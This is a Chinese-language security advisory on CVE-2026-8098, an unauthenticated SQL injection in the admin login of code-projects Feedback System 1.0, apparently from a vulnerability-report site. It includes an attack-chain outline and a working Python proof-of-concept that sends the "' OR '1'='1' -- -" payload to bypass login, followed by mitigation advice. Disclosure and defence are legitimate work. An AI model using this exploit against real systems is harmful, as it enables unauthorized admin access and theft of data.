IPBUF安全漏洞报告
English
CVE-2026-8098 CVSS 7.3 高危

CVE-2026-8098 code-projects Feedback System SQL注入漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-8098
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Feedback System

相关标签

SQL注入code-projectsFeedback System无需认证远程漏洞

漏洞概述

code-projects Feedback System 1.0版本存在高危SQL注入漏洞。漏洞源于/admin/checklogin.php文件对email参数处理不当,攻击者无需认证即可远程利用该漏洞,通过构造恶意SQL语句操纵数据库查询,可能导致数据泄露或绕过登录验证。

技术细节

该漏洞存在于code-projects Feedback System 1.0的登录验证逻辑中。在处理/admin/checklogin.php的请求时,系统未对用户提交的email参数进行有效的安全过滤或预处理,直接将其拼接到SQL查询语句中。攻击者可以利用如单引号、注释符等SQL语法构造恶意Payload(如' OR '1'='1),使得数据库逻辑判断永远为真。由于CVSS向量显示PR:N(无需权限)和UI:N(无需交互),攻击者可远程发起无交互攻击,进而获取数据库中的敏感信息或非法登录后台。

攻击链分析

STEP 1
侦察
识别使用code-projects Feedback System 1.0的目标系统,定位/admin/checklogin.php接口。
STEP 2
漏洞利用
向目标接口发送POST请求,在email参数中注入恶意SQL代码(如万能密码或布尔盲注语句)。
STEP 3
获取权限
利用SQL注入漏洞绕过身份验证,成功登录后台管理员账户或读取数据库敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): # Target endpoint based on vulnerability description target_url = f"{url}/admin/checklogin.php" # SQL Injection payload to bypass login or extract data # Example: Admin authentication bypass payload_data = { "email": "' OR '1'='1' -- -", "password": "random" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Send POST request with malicious payload response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if the injection was successful (indicators may vary) if response.status_code == 200 or "admin" in response.text.lower(): print("[+] Potential SQL Injection vulnerability detected!") print(f"[+] Response: {response.text[:200]}") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1" # Replace with actual target check_sqli(target_ip)

影响范围

code-projects Feedback System 1.0

防御指南

临时缓解措施
在应用层面对所有用户输入(特别是email参数)进行严格的过滤和转义。建议使用PDO或mysqli的预处理机制来防止SQL注入。如果无法立即修复,建议在Web应用防火墙(WAF)中部署针对该特定路径的规则,拦截包含单引号、UNION SELECT等SQL关键字的请求。

参考链接